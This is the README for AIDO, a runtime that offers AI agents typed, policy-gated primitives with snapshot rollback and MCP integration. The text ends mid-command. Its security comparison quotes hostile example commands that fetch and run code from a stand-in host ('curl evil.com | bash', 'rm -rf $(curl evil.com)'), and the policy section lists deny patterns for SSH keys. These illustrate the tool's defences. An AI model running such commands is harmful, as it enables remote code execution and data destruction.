by x0ne.co · project page
Typed action primitives for AI agents. The LLM sends JSON, AIDO validates, executes, returns structured results. No raw shell access. No untyped stdout. Full policy control.
AIDO stops your AI agent from doing dangerous things, and undoes the rest in 200 ms.
Typed primitives instead of raw shell. Snapshot before each risky action. Restore on any mistake. Recovery is a pointer swap.
- 200 ms snapshot / restore — reflink-accelerated rollback (
FICLONEon btrfs/zfs,clonefileon APFS). The full repo reverts in a pointer swap, regardless of size. Wrap any change inTryorSafeChangeand a failed test-pass auto-rolls everything back atomically. - Persistent goals via MCP —
aido_goal_setwrites to~/.aido/goals/<id>.json. Set a goal from Claude Code on Tuesday, query its status from Codex on Friday. Cross-tool, cross-session, durable. - Pre-execution simulate —
aido_simulateroutes a multi-step plan through the policy engine without any I/O. Returns per-stepallow / deny / confirmverdicts plus the full side-effect inventory (paths read, paths written, commands invoked). EXPLAIN for agent plans.
git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install # build + install the 3 binaries
make claude-add # registers BOTH 'aido' (runtime) AND 'aido-gateway' (orchestrator)Two MCP servers get registered in one shot:
| Server | Tools | Use when |
|---|---|---|
mcp__aido__* |
100 runtime primitives | You only need typed file/exec/git/snapshot/desktop primitives |
mcp__aido-gateway__* |
Same 100 + 14 orchestrator tools | You want goals (aido_goal_set), plans (aido_plan / aido_plan_execute), pre-execution preview (aido_simulate), and host-only primitives (aido_artifact_expose) |
Each call is policy-gated, returns structured JSON, and is logged to ~/.aido/sessions/. Verify with claude mcp list:
aido: aido-runtime --mode mcp --log-level error - ✓ Connected
aido-gateway: aido-orchestrator --mcp --downstream-runtime aido-runtime - ✓ Connected
Then in any Claude Code session: "set a goal to refactor my auth and make all tests pass, then plan the steps" — the model reaches for mcp__aido-gateway__aido_goal_set and mcp__aido-gateway__aido_plan, the goal persists across sessions in ~/.aido/goals/, and any future aido_goal_step is policy-checked. To unregister later: make claude-remove.
git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install
make mcp-codex # alias for `make codex-add` — registers BOTH entries in ~/.codex/config.tomlThis writes two MCP server entries to ~/.codex/config.toml:
[mcp_servers.aido]
command = "/home/you/.cargo/bin/aido-runtime"
args = ["--mode", "mcp", "--log-level", "error"]
[mcp_servers.aido-gateway]
command = "/home/you/.cargo/bin/aido-orchestrator"
args = ["--mcp", "--downstream-runtime", "aido-runtime", "--log-level", "warn"]Restart Codex, and you get the same two surfaces as in Claude Code (runtime alone + gateway with goal/plan/simulate). To unregister later: make codex-remove.
Why MCP? AIDO becomes the safe execution backend for any MCP-aware agent (Claude Code, Codex, Cursor, OpenCode, Zed, …). Your host agent gets typed primitives, snapshot/restore, multi-pattern search, sandboxed exec, persistent goals, plan ledgers, and the privilege boundary for free. See § MCP for the full integration table.
make demo-undo-fast # or: ./scripts/demo-undo.sh --no-pausePlays out an agent destroying a fake payment service, then time-travels back via RestoreSnapshot, all 6 files + missing parent dirs reconstructed in ~3 ms. See scripts/DEMO-UNDO.md.
git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install # builds + installs the 3 binaries to ~/.cargo/bin/
# plus runtime profiles to ~/.config/aido/
aido # first run auto-launches the configuration wizard
# (model, provider) — re-run anytime with
# `aido --setup`, or `/setup` from inside a sessionThat's it. No container required. AIDO runs directly on your host — Linux, macOS, or Windows — and snapshot/restore stays O(1) wherever the filesystem supports reflink:
| Filesystem | Snapshot speed | OS |
|---|---|---|
| btrfs / zfs | O(1) reflink (FICLONE) | Linux |
| APFS | O(1) clonefile | macOS |
| ext4 / NTFS / others | byte-copy fallback (still functional) | Linux / Windows |
To remove everything: make uninstall (drops binaries, XDG config, and MCP registrations — preserves ~/.aido/ user data: sessions, snapshots, goals, memory).
If you want process isolation on top of snapshot/restore — e.g. to run untrusted code via RunInSandbox, or to give the agent a fresh filesystem each turn — opt in via:
make setup-podman # Linux + macOS + Windows (uses Podman Machine on Mac)
make setup-incus # Linux only — fastest, btrfs storage pool, baseline containerEach is from-zero: bootstraps the daemon if missing (apt/pacman/dnf/zypper auto-detected on Linux), creates the aido-sandbox container, and captures a baseline snapshot. Idempotent, safe to re-run. With one of these installed, plain aido auto-detects the container and runs the runtime inside it; without it, you stay on host mode with snapshot fallback. For production / CI that requires fail-closed semantics, set AIDO_REQUIRE_SANDBOX=1.
# Non-interactive, run a single prompt and exit
aido -p "what OS is this and how much disk is free"
# Pipe mode, feed stdin as context
cat error.log | aido --stdin -p "explain this error and fix it"
# @file references, inject file contents inline
aido -p "refactor @src/main.rs to use async"
# Autonomous mode, continuous loop with git checkpoints
aido --auto-mode --max-iterations 30Orchestrator (LLM loop) ──[Bridge: stdio / HTTP / SSH]──▶ Core (executor + policy)
aido-orchestrator aido-runtime
├── TUI (ratatui) ├── Action parser (JSON → typed enum)
├── Matrix Mode ├── Policy engine (deny / allow / confirm)
├── CLI (rustyline) ├── Executor (100 typed primitives)
├── LLM backends ├── Composite primitives (user-defined)
│ Ollama / Anthropic ├── Handle manager (async events)
│ OpenAI-compat ├── Snapshot engine (FS, reflink-aware)
│ (multi-profile, hot- ├── Try / SafeChange (auto-snapshot rollback)
│ swap via /provider) ├── MCP server (tools/list, tools/call)
├── Non-interactive (-p) └── Path canonicalization (anti-traversal)
├── Autonomous (--auto)
├── MCP gateway (14 native
│ sysaicalls — gates the
│ runtime's 100 tools):
│ • aido_plan / _execute
│ (single-use ledger)
│ • aido_simulate
│ (pre-flight, no I/O)
│ • aido_goal_set / step /
│ status / pause / resume /
│ complete / clear
│ (persistent ~/.aido/goals/)
│ • aido_artifact_expose
│ (privilege boundary)
├── Orchestrator-first
│ dispatch (sysaicalls
│ + Pipeline interception)
├── Multi-agent (SpawnAgent
│ / SpawnWorld / WaitAgent /
│ BroadcastAgents)
├── Incus container mgmt
│ (RunIncus, RunIncusGroup,
│ Incus*Snapshot, outside
│ the runtime's privilege
│ boundary by design)
├── AIDO.md (project memory)
├── Codebase indexing
├── @file injection
├── Session audit logger (JSONL)
├── Execution target display
│ (🛡 sandbox / ⚡ local / 🌐 remote)
├── /export (JSON for fine-tuning)
├── Loop protection
│ (anti-loop, hints)
└── Bridge
(stdio / HTTP / SSH+Incus)
aido-mcp (shared lib) aido-code (`aido` binary)
├── JSON-RPC 2.0 types ├── CLI / TUI / Matrix entrypoint
├── line-delimited stdio ├── -p one-shot, --stdin pipe
└── ChildMcpClient └── --auto autonomous loop
(downstream proxy) consumes orchestrator as lib
Privilege boundary, anything that modifies the runtime's environment (containers, host-side artifact exposure, sub-agent spawning) lives in the orchestrator, not the runtime. The runtime literally cannot compile a
RunIncusaction; the orchestrator intercepts these before the bridge dispatch and runsincusitself on the host. The LLM sees the same wire format either way.
100 typed runtime actions + 14 orchestrator native tools. Every primitive takes typed input, returns typed output, goes through the policy engine.
| Action | Description | Mutable |
|---|---|---|
ReadFile |
Read file with optional offset/limit | No |
ReadFileChunk |
Read specific line range | No |
WriteFile |
Create or overwrite a file | Yes |
WriteFileLines |
Create or overwrite a file from lines: [...] |
Yes |
AppendFile |
Append to file | Yes |
AppendLines |
Append lines: [...] to file |
Yes |
ReplaceInFile |
Replace first match in file | Yes |
EditFile |
Multiple find-and-replace edits | Yes |
InsertAtLine |
Insert at line number | Yes |
ApplyPatch |
Apply unified diff | Yes |
ListDir |
List directory | No |
TreeView |
ASCII directory tree | No |
FindFiles |
Glob search, single (pattern) or multi-glob OR (patterns: [...]) |
No |
CreateDir |
Create directory with parents | Yes |
MoveToTrash |
Move to OS trash | Yes |
CopyFile |
Copy file | Yes |
MoveFile |
Move / rename | Yes |
CreateTempFile |
Create temp file | Yes |
| Action | Description | Mutable |
|---|---|---|
SearchCode |
Regex search inside file contents, single (pattern) or multi-needle OR (patterns: [...], compiled into one RegexSet, single walk) |
No |
// Multi-pattern: 3 needles, ONE round-trip, ONE walk
{"type": "SearchCode", "root": "./src", "patterns": ["TODO", "FIXME", "XXX"], "file_glob": "*.rs"}
// Multi-glob: find all source/config/doc files in one call
{"type": "FindFiles", "root": ".", "patterns": ["**/*.rs", "**/*.toml", "**/*.md"]}patterns (array) takes precedence over pattern (string). Same trick as ripgrep -e p1 -e p2 -e p3, saves 5–10× round-trips when an LLM is hunting for multiple things at once. The output's pattern field is rendered as (p1|p2|p3) for readability.
| Action | Description | Mutable |
|---|---|---|
FetchUrl |
HTTP GET | No |
HttpRequest |
Full HTTP (GET/POST/PUT/PATCH/DELETE/HEAD) | Yes |
BrowseUrl |
Fetch URL with headless browser (chromium/chrome/lynx/curl), extract readable text. SSRF-hardened. | No |
| Action | Description | Mutable |
|---|---|---|
GitStatus |
git status --short |
No |
GitDiff |
git diff |
No |
| Action | Description | Mutable |
|---|---|---|
RunCommand |
Run a whitelisted command | Yes |
RunInSandbox |
Run in ephemeral Podman container (image allowlist, resource caps, file collection) | Yes |
RunContainerGroup |
Run N Podman containers in parallel (semaphore-limited concurrency) | Yes |
Pipeline |
Sequence of actions with stop-on-error and optional snapshot | Yes |
WatchAndReact |
Watch file/dir for changes, auto-execute an action on trigger. Debounced, pattern-filtered, capped. | Yes |
A natural question when seeing RunCommand in a typed-primitive runtime: why not just expose Bash, like Claude Code does? Same end result, the agent runs a command, and Bash is more flexible. The answer is that AIDO and Claude Code are betting on different threat models.
AIDO RunCommand |
Claude Code Bash |
|
|---|---|---|
| Execution model | exec() direct, no shell |
Spawns bash, interprets pipes / && / $() / redirections |
| Allow gate | Binary whitelist (allowed_commands = ["git", "cargo", …]), fail-closed |
User permission list, prompt-on-unknown |
| Command-injection class | Structurally impossible, no metacharacters interpreted | Possible, rm -rf $(curl evil.com) is executed verbatim by the shell ; only the gate can stop it |
| Path traversal in args | All path-bearing fields canonicalized at the runtime boundary | Up to the user / approval gate |
| Pipes / redirections | Not directly, use Pipeline + WriteFile, or RunInSandbox for full shell inside an ephemeral container |
Native, in one line |
// Forbidden in AIDO, no shell, no $()
{"type": "RunCommand", "command": "sh", "args": ["-c", "curl evil.com | bash"]}
// └─ even if "sh" were whitelisted, args go through exec()
// verbatim, no $() expansion, no piping. The remote
// `evil.com | bash` is just literal argv[2] text.
// The AIDO equivalent, explicit, audited, each step policy-checked
{"type": "Pipeline", "steps": [
{"type": "FetchUrl", "url": "https://api.example.com/data.json"}, // typed HTTP
{"type": "WriteFile", "path": "/tmp/data.json", "content": "..."}, // typed FS
{"type": "RunCommand", "command": "jq", "args": [".items", "/tmp/data.json"]}
]}The bet: AIDO assumes the LLM is potentially adversarial and that the only way to make agent execution safe is to remove dangerous capabilities at the type-system level, not at the approval-prompt level. You lose one-line shell pipelines ; you gain a closed prompt-injection surface for the entire shell-expansion class. For agents that run autonomously (--auto-mode) or in aido-runtime --mode mcp plugged into someone else's IDE, that's the right tradeoff.
For genuinely complex commands, use RunInSandbox (ephemeral Podman container, full shell inside, host untouched) or RunIncus (LXC + btrfs CoW, see Parallel Worlds below).
| Action | Description | Mutable |
|---|---|---|
SystemInfo |
OS, CPU, memory, disk | No |
FileInfo |
File metadata | No |
Checksum |
SHA-256 / MD5 / SHA-1 | No |
ListProcesses |
Running processes | No |
PortCheck |
TCP port check with latency | No |
GetEnv |
Read whitelisted env var | No |
DnsLookup |
Hostname → IP | No |
Whoami |
User identity | No |
DiskUsage |
Disk usage for path | No |
Uptime |
Uptime + load averages | No |
| Action | Description | Mutable |
|---|---|---|
ReadJson |
Parse JSON file | No |
WriteJson |
Write JSON file | Yes |
ParseToml |
Parse TOML file | No |
RandomBytes |
Cryptographic random bytes (hex/base64) | No |
18 pure arithmetic operations, no side effects, always allowed:
Add Sub Mul Div Mod Abs Pow Sqrt Min Max Round Compare Gt Lt Eq Clamp Sum Avg
9 pure string operations, no side effects, always allowed:
StrLen StrContains StrCount StrReplace StrSplit StrUpper StrLower StrTrim StrSlice
StrContainsandStrCountacceptinput,text, orstringas aliases forhaystack.StrSliceclampsendto string length (Python-style, no error on out-of-bounds end).
Namespaced key-value store persisted to ~/.config/aido/memory/:
| Action | Description | Mutable |
|---|---|---|
Remember |
Store a key-value pair | Yes |
Recall |
Retrieve a value by key | No |
Forget |
Delete a key | Yes |
ListMemory |
List all keys in a namespace | No |
| Action | Description | Mutable |
|---|---|---|
Validate |
Type/schema/range checks on values | No |
Diff |
Unified diff between strings or files | No |
| Action | Description |
|---|---|
AskHuman |
Prompt operator for input |
Confirm |
Yes/no confirmation gate |
AskMultipleChoice |
Multiple-choice selection |
| Action | Description | Mutable |
|---|---|---|
CreateSnapshot |
Backup specified paths | Yes |
RestoreSnapshot |
Restore snapshot | Yes |
ListSnapshots |
List snapshots | No |
DeleteSnapshot |
Delete snapshot | Yes |
| Action | Description |
|---|---|
Subscribe |
Watch file changes, process exit, port open |
CheckHandle |
Drain buffered events |
StopHandle |
Cancel handle |
ListHandles |
List active handles |
SendInput |
Write to stdin of a running streaming process (interactive CLI/REPL) |
Screenshot GetWindowTree GetFocusedWindow MoveMouse Click DoubleClick Scroll TypeText PressKey PressKeyCombination FocusWindow SendNotification GetClipboard SetClipboard
Requires external Wayland tools:
sudo apt install grim wlrctl wtype wl-clipboard libnotify-binSee docs/desktop.md for full setup and configuration.
ListActions DescribeAction PolicyCheck ReadLogs
When an agent writes HTML/CSS/JS that a human wants to open, the orchestrator embeds a loopback reverse-proxy on 127.0.0.1:7800 to make the artifact reachable at http://localhost:7800/a/<artifact_id>/, without opening any port on the network.
| Primitive | Where | Description |
|---|---|---|
ArtifactCreate |
aido-runtime | Allocate an artifact directory, return { artifact_id, root_path, url } |
ArtifactExpose |
orchestrator (host) | Register with the local proxy, return the loopback URL |
ArtifactUnexpose |
orchestrator (host) | Remove an artifact (or all) from the local proxy |
ArtifactList ArtifactSave ArtifactStop ArtifactDestroy ArtifactServe |
aido-runtime | Lifecycle |
// Agent chain: create → write → expose
{"type": "Pipeline", "steps": [
{"type": "ArtifactCreate", "name": "eth-ticker"},
{"type": "WriteFile", "path": "{root_path}/index.html", "content": "<!DOCTYPE html>…"},
{"type": "ArtifactExpose", "artifact_id": "{artifact_id}"}
]}ArtifactExpose executes on the host (never inside the sandbox, same pattern as RunIncus) and returns a URL the user's browser can actually open. Files are pulled out of the sandbox on-demand via incus file pull; no files are copied to the host, no Incus device is created, and the port is 127.0.0.1 only. When aido exits, the port dies with it. See aido-orchestrator/README.md § Artifact for details.
Define reusable, parameterized macros from existing primitives. Stored on disk, discoverable via ListActions/DescribeAction, and executed like native actions.
| Action | Description | Mutable |
|---|---|---|
DefinePrimitive |
Define a composite from a pipeline of existing actions | Yes |
CallPrimitive |
Call a defined composite with arguments | Yes |
ListCustomPrimitives |
List all user-defined composites | No |
DeletePrimitive |
Delete a composite by name | Yes |
Example, define a health check macro:
{"type": "DefinePrimitive", "name": "HealthCheck",
"params": {
"url": {"type": "string", "required": true},
"log_path": {"type": "string", "required": true}
},
"steps": [
{"type": "HttpRequest", "url": "{url}", "method": "HEAD"},
{"type": "ReadLogs", "path": "{log_path}", "lines": 50}
]}Call it: {"type": "CallPrimitive", "name": "HealthCheck", "args": {"url": "https://api.x0ne.co", "log_path": "/var/log/app.log"}}
Security: No recursion, no self-reference, max depth 3, every step passes through the policy engine. Persisted in ~/.config/aido/primitives/.
Transactional execution with automatic snapshot and rollback:
{
"type": "Try",
"label": "refactor auth",
"rollback_on_fail": true,
"actions": [
{"type": "WriteFile", "path": "src/auth.rs", "content": "..."},
{"type": "RunCommand", "command": "cargo", "args": ["check"]}
]
}If cargo check fails → the file is automatically restored from snapshot.
{"type": "Assert", "check": "file_exists", "path": "/tmp/output.txt"}
{"type": "Assert", "check": "eq", "actual": 42, "expected": 42}9 assertion checks: file_exists, file_contains, port_open, command_succeeds, eq, gt, lt, not_empty, env_set.
These meta-actions run in the orchestrator, not in aido-runtime. They are the control-flow primitives that enable multi-agent coordination:
| Action | Description |
|---|---|
Plan |
Label and execute a multi-step plan with progress tracking. |
SpawnWorld |
Spawn a sub-agent with its own conversation, LLM context, and aido-runtime bridge. |
WaitAgent |
Wait for a sub-agent to finish and collect its result + token usage. |
ListAgents |
List active sub-agents and their status (running/completed/failed). |
BroadcastAgents |
Send a message to all running sub-agents. |
Reflect |
Self-evaluation over the conversation context. |
The orchestrator acts as a universal action router. When a Pipeline contains any sysaicall (SpawnWorld, WaitAgent, etc.), the orchestrator executes the entire Pipeline locally, routing each step to either local handling or aido-runtime's bridge. Pure-system Pipelines still forward to aido-runtime directly (zero overhead).
Pipeline { SpawnWorld, ReadFile, WaitAgent }
│
├─ step 1: SpawnWorld → orchestrator (tokio::spawn + new bridge)
├─ step 2: ReadFile → aido-runtime bridge
└─ step 3: WaitAgent → orchestrator (await oneshot)
This enables the LLM to compose sysaicalls with system actions in a single Pipeline, the key unlock for multi-agent workflows.
The LLM thinks in branches, not sequences.
AIDO supports three levels of parallelism, orchestrator-level (multi-agent), Podman containers (OCI), and Incus containers (LXC). They can run simultaneously and be combined.
Spawn N sub-agents, each with its own conversation context, LLM loop, and aido-runtime bridge. Each agent runs independently and can execute any action. Results are collected via WaitAgent.
{"type": "Pipeline", "steps": [
{"type": "SpawnWorld", "id": "ui", "task": "Design a TUI dashboard for BTC price"},
{"type": "SpawnWorld", "id": "api", "task": "Implement CoinGecko API client in Rust"},
{"type": "SpawnWorld", "id": "tests", "task": "Write integration tests for the ticker"},
{"type": "SpawnWorld", "id": "docs", "task": "Write README and usage docs"},
{"type": "WaitAgent", "id": "ui", "timeout_secs": 120},
{"type": "WaitAgent", "id": "api", "timeout_secs": 120},
{"type": "WaitAgent", "id": "tests", "timeout_secs": 120},
{"type": "WaitAgent", "id": "docs", "timeout_secs": 120}
]}Safety boundaries:
- Sub-agents cannot spawn further agents (prevents recursive agent soup)
- Each sub-agent has its own action budget (
AIDO_SERVE_SUB_AGENT_MAX_ACTIONS, default: 10) - Interrupt propagation: Ctrl+C stops all Pipeline steps
RunInSandbox runs a single ephemeral Podman container. RunContainerGroup runs N containers in parallel with semaphore-limited concurrency. Both are daemonless and rootless.
{"type": "RunContainerGroup", "tasks": [
{"id": "py-test", "image": "python:3.12-slim", "command": ["python", "-m", "pytest"]},
{"id": "lint", "image": "node:20-slim", "command": ["npx", "eslint", "."]},
{"id": "build", "image": "alpine", "command": ["make", "release"]}
], "memory_mb": 256, "timeout_secs": 60}Sequential (slow): test → lint → build (3 round-trips)
Parallel (fast): RunContainerGroup [test, lint, build] (1 round-trip)
When RunIncus / RunIncusGroup are enabled (requires an Incus remote), agents can fork N isolated containers simultaneously, each exploring a different approach, then pick the winner in a single round-trip.
Sequential (slow): try A → fail → try B → fail → try C → ok (3 round-trips)
Parallel (fast): RunIncusGroup [A, B, C] → pick winner (1 round-trip)
| Primitive | What it does |
|---|---|
RunIncus |
Single ephemeral LXC container, inject files, run, collect output, auto-delete |
RunIncusGroup |
N containers in parallel, same btrfs snapshot, different commands |
base_snapshot |
CoW clone in < 200ms, all worlds start from the same frozen state |
snapshot_on_exit |
Save container state as a rollback point before a risky operation |
Measured on prod-infra (btrfs): 4 parallel containers → 5.6s total · CoW clone < 200ms · zero zombie containers.
A parent agent can spawn sub-agents that each use Podman or Incus containers internally:
Parent LLM
├─ SpawnWorld "frontend" → sub-agent uses RunInSandbox (Podman) to test in Alpine
├─ SpawnWorld "backend" → sub-agent uses RunIncus to test in Ubuntu (full system)
├─ SpawnWorld "benchmarks"→ sub-agent uses RunContainerGroup [4 Podman variants]
├─ SpawnWorld "variants" → sub-agent uses RunIncusGroup [4 Incus variants, btrfs CoW]
└─ WaitAgent all → collect results, pick winner
Even when aido-runtime runs inside a sandbox container, Parallel Worlds still work. The orchestrator maintains a secondary host-side bridge, a local aido-runtime instance with access to the incus CLI. When RunIncus/RunIncusGroup are detected, they are routed to this host-side bridge instead of the sandbox:
Orchestrator (host)
├── Primary bridge ──→ sandbox container (ReadFile, WriteFile, RunCommand…)
│ ↑ winning solution applied here
└── Incus bridge ────→ local aido-runtime → incus launch → ephemeral containers
(RunIncus, RunIncusGroup)
This means make run-incus gives you full isolation (agent actions in the sandbox) AND parallel worlds (Incus containers on the remote), no nested containers needed.
Incus containers on btrfs are time machines. Every container state can be frozen and restored in milliseconds thanks to Copy-on-Write snapshots:
Agent explores risky refactor
├─ snapshot_before: "pre-refactor" ← frozen state (< 200ms, zero-copy)
├─ writes 12 files, runs tests ← fails
├─ RestoreSnapshot "pre-refactor" ← instant rollback
└─ tries a different approach ← clean slate, same starting point
| Capability | How |
|---|---|
| Checkpoint before risk | base_snapshot / snapshot_before on any RunIncus or Pipeline |
| Instant rollback | RestoreSnapshot, btrfs reflink, < 200ms regardless of container size |
| Branch & compare | RunIncusGroup forks N CoW clones from the same snapshot, each explores a different strategy, agent picks the winner |
| Survive catastrophic failure | Container deleted on exit (--ephemeral), host is never touched |
The LLM doesn't need to be careful, it can explore aggressively, knowing that any checkpoint is a free undo. This is the key difference from bare-metal agents: mistakes are free.
→ Full Incus setup and architecture: Parallel Worlds & Snapshot Architecture
AIDO is not text-only, agents can see, listen, and delegate to specialized models.
When the agent takes a Screenshot, the image is injected directly into the conversation as a base64-encoded attachment. All three backends handle it natively:
| Backend | Format |
|---|---|
| Anthropic (Claude) | Multi-part content blocks: [{type:"text"}, {type:"image", source:{type:"base64", ...}}] |
| Ollama (llava, bakllava) | images: [base64...] array on the user message |
| OpenAI-compat (GPT-4o, etc.) | content: [{type:"text"}, {type:"image_url", image_url:{url:"data:..."}}] |
The LLM literally sees the screenshot, no OCR, no description intermediary.
Different models excel at different tasks. Chain them in a single Pipeline:
{
"type": "Pipeline",
"steps": [
{"type": "Screenshot"},
{"type": "OllamaChat", "endpoint": "http://localhost:11434", "model": "llava",
"messages": [{"role": "user", "content": "Describe this UI", "images": ["<base64>"]}]},
{"type": "LlmCall", "endpoint": "http://localhost:11434", "model": "codellama",
"prompt": "Fix the CSS issue described above"}
]
}OllamaChat supports full multi-turn conversations with optional per-message image attachments, ideal for vision models that need follow-up questions.
DocumentExtract handles PDF → text (pdftotext), video → transcription (whisper), image → OCR (tesseract), and can optionally convert the output to a JSONL training dataset via an LLM.
[policy]
default_effect = "deny" # deny | allow
allowed_read_paths = ["/home/user/code"]
allowed_write_paths = ["/home/user/code"]
allowed_commands = ["git", "cargo", "npm", "make"]
deny_path_patterns = ["**/.ssh/**", "**/*.key", "**/*.pem"]
readable_env_vars = ["PATH", "HOME", "USER"]
[actions]
WriteFile = false
RunCommand = false
# etc, per-action switchesThe orchestrator prevents LLMs from getting stuck in infinite retry loops:
| Protection | Threshold | Behavior |
|---|---|---|
| Consecutive action limit | 20 actions | Forces pause, asks LLM to summarize and wait for user |
| Same-action failure | 3 identical parse errors | Breaks the loop (not retry), suggests DescribeAction |
| Total failure budget | 8 errors per turn | Hard stop regardless of action type |
| Repeated-action circuit breaker | 5 identical failures (type + args + error_code) |
Pre-dispatch refusal with loop_detected envelope (CLI + TUI) |
| Parse retry limit | 3 invalid JSON blocks | Returns to user prompt |
| Structural hints | On "missing field" errors | Detects "params" wrapper mistakes, injects correction |
| Schema hints | On any parse error | Injects correct schema + example from discovered actions |
| Confirmation gate | Destructive actions | [y]es [n]o [a]lways prompt before writes/commands |
Every session is automatically logged to ~/.aido/sessions/*.jsonl, one JSONL file per invocation. Each line is a self-contained JSON event:
| Event Type | Description |
|---|---|
session_start |
Model, version, hostname, PID, correlates audit trails |
user_input |
User prompt text |
llm_response |
Full LLM response with token counts (in/out) |
action |
Action JSON with type, success flag, duration |
action_result |
Full result payload (output, errors) |
policy_denial |
Action blocked by policy engine (with reason) |
# View latest session log
cat ~/.aido/sessions/$(ls -t ~/.aido/sessions/ | head -1) | jq .
# Export conversation as JSON (for LLM fine-tuning)
/export my-training-data # → ~/.aido/exports/my-training-data_2026-04-16_02-30.jsonThe /export format produces clean {"role": "user/assistant", "content": "..."} pairs, directly compatible with LLM fine-tuning pipelines.
The status bar shows exactly where actions execute:
| Icon | Mode | Example |
|---|---|---|
| 🛡 sandbox (green) | Incus/LXC container | 🛡 sandbox aido-sandbox |
| ⚡ local (blue) | Direct on host | ⚡ local hp |
| 🌐 remote (yellow) | HTTP API server | 🌐 remote 192.168.1.50:3100 |
Container name is auto-extracted from the sandbox_cmd (detects incus exec <name>, ssh <host>).
Previous conversation turns auto-collapse when you send a new prompt:
▸ I've listed the project root and found 31 entries... ← previous turn (collapsed)
▸ read · ListDir ← current action (collapsed)
╭─ response ────────────────────── ← current response (expanded)
│ The system is running Ubuntu 22.04...
╰─────────────────────────────────────
Within a turn, action blocks collapse when the next action or response arrives. Between turns, the entire previous output collapses into a one-line summary. Use /history to expand everything.
| Protection | Description |
|---|---|
| Path canonicalization | All file paths resolved via std::fs::canonicalize(), blocks ../ traversal and symlink escapes |
| UTF-8 safe truncation | Character-based slicing prevents panics on multi-byte sequences |
| I/O deadlock prevention | Concurrent tokio::join! for stdout/stderr pipes instead of sequential reads |
| Policy denial audit | Every blocked action logged with reason to session JSONL |
| Sandbox file integrity | Rejects absolute paths and .. components in sandbox temp directories |
# One-liner (downloads latest release from GitHub)
curl -fsSL https://raw.githubusercontent.com/x0ne-labs/aido-runtime/main/install.sh | sh
# From crates.io
# `aido-code` produces the `aido` CLI/TUI/Matrix binary; `aido-runtime` is the executor.
# Add `aido-orchestrator` only if you also want the headless HTTP/SSE serve binary.
cargo install aido-runtime aido-code
# From source
git clone https://github.com/x0ne-labs/aido-runtime && cd aido-runtime
make install # builds release + installs to ~/.cargo/binThe installer downloads both aido-runtime and aido (orchestrator) binaries plus default config files to ~/.aido/bin/ and ~/.config/aido/.
Pre-built binaries: GitHub Releases
Configure in aido-orchestrator.toml:
[llm]
provider = "ollama" # ollama | anthropic | openai-compat
[llm.ollama]
endpoint = "http://localhost:11434"
model = "mistral"
[llm.anthropic]
model = "claude-sonnet-4-20250514"
[llm.openai_compat]
base_url = "https://api.openai.com"
model = "gpt-4o"Env vars (.env):
OLLAMA_BASE_URL=http://localhost:11434
OLLAMA_API_KEY=...
ANTHROPIC_API_KEY=...
AIDO_OPENAI_COMPAT_KEY=...
AIDO exposes all 100 runtime actions + 14 orchestrator tools as MCP tools. Two modes are supported, depending on what you want from the host agent:
| Mode | Binary | What you get |
|---|---|---|
| Runtime-only (simplest) | aido-runtime --mode mcp |
100 typed runtime tools, policy-gated. No agent loop, no sysaicalls. |
| Orchestrator gateway (recommended) | aido-orchestrator --mode mcp |
Same primitives plus 14 native sysaicalls (aido_plan, aido_plan_execute, aido_simulate, aido_goal_set / step / status / pause / resume / complete / clear, aido_artifact_expose / unexpose, aido_list_agents, aido_orchestrator_info). The orchestrator spawns a downstream aido-runtime and proxies unknown tools — one MCP plug, the host agent gets both layers. |
The shared wire-level plumbing (JSON-RPC 2.0, line-delimited stdio, downstream ChildMcpClient) lives in the aido-mcp crate so both servers, and any future meta-MCP gateway, speak the same dialect.
Two naming conventions, by design. The agent-loop wire format (LLM → orchestrator → runtime) uses PascalCase action types,
{"type": "CreateSnapshot"}, because that's the natural Rust enum form and it's what the system prompt teaches. The MCP wire format uses snake_case tool names,{"name": "create_snapshot"}, because that's the convention every MCP host agent expects (Claude Desktop, Cursor, Zed, …). Each audience sees an internally consistent dialect; the mapping lives inaido-runtime/src/mcp/registry.rs.
aido-runtime implements the full MCP specification (2024-11-05):
- ✅
tools/list,tools/callwith typed JSON Schema per tool - ✅
initialize/initializedlifecycle - ✅
resources/list,prompts/list(empty, spec-compliant stubs) - ✅
ping,logging/setLevel - ✅ Notifications handled gracefully (no crash on
notifications/cancelled) - ✅
isError: true/falseon every tool result - ✅ Full policy engine on every tool call
~/.config/Claude/claude_desktop_config.json:
{
"mcpServers": {
"aido": {
"command": "aido-runtime",
"args": ["--mode", "mcp"],
"env": { "AIDO_LOG": "warn" }
}
}
}claude mcp add aido -- aido-runtime --mode mcpOr manually in ~/.claude.json:
{
"mcpServers": {
"aido": {
"command": "aido-runtime",
"args": ["--mode", "mcp"],
"env": { "AIDO_LOG": "warn" }
}
}
}.cursor/mcp.json (per-project) or global MCP settings:
{
"mcpServers": {
"aido": {
"command": "aido-runtime",
"args": ["--mode", "mcp"]
}
}
}opencode.json in your project root:
{
"mcp": {
"aido": {
"type": "stdio",
"command": "aido-runtime",
"args": ["--mode", "mcp"]
}
}
}~/.continue/config.json:
{
"mcpServers": [{
"name": "aido",
"command": "aido-runtime",
"args": ["--mode", "mcp"]
}]
}settings.json:
{
"context_servers": {
"aido": {
"command": { "path": "aido-runtime", "args": ["--mode", "mcp"] }
}
}
}Add via Cascade MCP settings:
{
"mcpServers": {
"aido": {
"command": "aido-runtime",
"args": ["--mode", "mcp"]
}
}
}aido-runtime speaks the standard MCP stdio transport:
# Start as MCP server (stdio transport)
aido-runtime --mode mcp
# Start as HTTP server (for REST clients)
aido-runtime --mode http --bind 127.0.0.1:7898For tools that don't support MCP, use the HTTP API:
curl -s http://localhost:7898/execute \
-H "Content-Type: application/json" \
-d '{"type": "ReadFile", "path": "./src/main.rs"}' | jqSecurity: Set
auth_tokeninaido-runtime.tomlunder[runtime.http]to require bearer authentication.
AIDO can execute code inside ephemeral Incus (LXC) containers for full process isolation. Two modes are supported: local (via Unix socket) and remote (via TLS, recommended for production, especially with btrfs for instant CoW snapshots).
make run-incus # build, deploy to Incus container, run CLINo configuration needed if Incus is installed locally:
# Install Incus
sudo apt install incus
sudo incus admin init # accept defaults
# Verify
incus listaido-runtime will connect via /run/incus/unix.socket automatically.
A remote Incus server backed by btrfs allows container creation via Copy-on-Write snapshots in under 200ms. This is the fastest and most scalable sandboxing option.
ssh your-incus-server "incus config set core.https_address '0.0.0.0:8443'"
# Verify it's listening
ssh your-incus-server "ss -tlnp | grep 8443"mkdir -p ~/.config/aido/incus
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:P-256 \
